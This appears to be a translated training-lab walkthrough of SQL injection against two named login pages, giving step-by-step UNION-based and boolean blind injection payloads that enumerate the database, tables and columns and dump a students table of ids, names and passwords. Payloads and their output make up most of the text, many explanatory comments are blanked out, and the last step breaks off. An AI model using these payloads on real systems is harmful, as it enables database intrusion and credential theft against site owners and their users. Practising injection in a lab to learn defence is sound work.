union連合注入及びsql盲注実戦


タスク1----はいhttp://yun.zhiliaotang.com:40008/login.html連合注入攻撃を行う
手順は次のとおりです.
1.注入点が存在するか否かを判断する
    :
	1.       1'				//         
	2.       1' or 1=1 -- 	//     
	3.       1' or 1=2 --	//   
      user      

2.判定フィールド
    :
	1.       1' or 1=1 order by 1 -- 	//    
	2.       1' or 1=1 order by 2 --		//    
	3.       1' or 1=1 order by 3 --		//    
	4.       1' or 1=1 order by 4 --		//        
        3

3.判定出力位置
    :
	1.       1'  union select 1,2,3 -- //       
         2

4.爆庫名
    :
	1.       1' union select 1,database(),3 -- //       grade
*******************************************************************************
*******************************************************************************
*******************************************************************************
                 , http     post  ,         tamperdata        post    。

5.爆表名
    :
	1. tamperdata  1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='grade'),3-- 
	//       admins,classes,english,networks,students,teachers

6.爆発フィールド名
    :
	1. tamperdata  1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='students'),3-- 	
	//        id,name,pass

7.studentsテーブルのデータの取得
    :
	1. tamperdata  1' union select 1,(select group_concat(id,name,pass) from grade.students),3 -- 
	//       
	3001yizyi001,
	3002erzer002,
	3003sanzsan003,
	3004sizsi004,
	3005wuzwu005,
	3006liuzliu006,
	3007qizqi007,
	3008bazba008,
	3009jiuzjiu009,
	3010shizshi010

開拓任務------対http://yun.zhiliaotang.com:40006/userlogin.php sqlブラインド注を行う(ブールベースのブラインド注)
手順は次のとおりです.
1.注入点が存在するか、文字型かデジタル型かを判断する
    :
1.       1'							//      
2.       1' or 1=1#					//    
3.       1' or 1=2#					//      
           sql  ,     。

2.現在のデータベース名の長さを推測
    :
1.       1' or length(database())=1 #
2.       1' or length(database())=2 #
3.       1' or length(database())=3 #
4.       1' or length(database())=4 #
				`
		  	`	  
				`
				`
9.       1' or length(database())=9 #	    
              9.

3.現在のデータベース名を推測する(ここでは二分法でデータベース名を推測する)
1.       1' or ascii(substr(database(),1,1))>97#	    
2.       1' or ascii(substr(database(),1,1))<97#	    
3.       1' or ascii(substr(database(),1,1))>110#    
4.       1' or ascii(substr(database(),1,1))<110#    
5.       1' or ascii(substr(database(),1,1))>103#    
6.       1' or ascii(substr(database(),1,1))<103#    
              g
                    guestbook
*******************************************************************************
*******************************************************************************
*******************************************************************************
                 , http     post  ,         tamperdata        post    。

4.データベース内のテーブル名の推測
4.1            :
	4.1.1.       1’ or (select count (table_name) from information_schema.tables where table_schema=database())=1 # //    
	4.1.2.       1’ or (select count (table_name) from information_schema.tables where table_schema=database())=1 # //    
	           
4.2          (       )
	4.2.1.       
		1).       1’ or length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1#     
		      ,       7 4
	4.2.2.    (   )
		1).       1’ or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #    
		                 message user

5.クイズ表のフィールド名
       ,    。